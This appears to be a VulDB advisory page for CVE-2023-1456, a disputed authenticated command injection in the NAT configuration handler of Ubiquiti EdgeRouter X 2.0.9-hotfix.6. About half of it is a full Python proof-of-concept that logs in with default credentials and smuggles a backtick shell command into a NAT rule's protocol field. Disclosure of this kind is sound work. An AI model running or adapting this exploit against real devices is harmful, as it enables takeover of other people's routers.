Ubiquiti EdgeRouter X 2.0.9-hotfix.6 NAT Configuration command injection ⚔ [Disputed]

Summaryinfo

A vulnerability, which was classified as critical, has been found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Affected by this issue is some unknown functionality of the component NAT Configuration Handler. The manipulation leads to command injection. This vulnerability is documented as CVE-2023-1456. The attack can be initiated remotely. Additionally, an exploit exists. The actual existence of this vulnerability is currently in question. The vendor position is that post-authentication issues are not accepted as vulnerabilities.

Detailsinfo

A vulnerability, which was classified as critical, has been found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System). This issue affects an unknown functionality of the component NAT Configuration Handler. The manipulation with an unknown input leads to a command injection vulnerability. Using CWE to declare the problem leads to CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.

The weakness was released 03/17/2023. The identification of this vulnerability is CVE-2023-1456. Technical details are unknown but a public exploit is available. MITRE ATT&CK project uses the attack technique T1202 for this issue.

The exploit is available at vuldb.com. It is declared as proof-of-concept. The real existence of this vulnerability is still doubted at the moment. The vendor position is that post-authentication issues are not accepted as vulnerabilities. The code used by the exploit is:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
#inject_cmd = 'touch /etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'service': {'nat': {'rule': {'5000': 
  {'type': 'source', 'description': 'dummy', 'log': 'enable', 
  'protocol': 'tcp`{}`'.format(inject_cmd), 
  'source': '', 
  'destination': {'address': '10.10.23.12', 'port': '998'}, 'outbound-interface': 'eth4'}}}}}, 
  'GET': {'service': {'nat': {'rule': {'5000': ''}}}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at EUVD (EUVD-2023-23705). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Type

• Router Operating System

Vendor

• Ubiquiti

Name

• EdgeRouter X

Version

• 2.0.9-hotfix.6

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #99970: Command injection at the web management interface of EdgeRouter-x (by leetmoon)

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discussion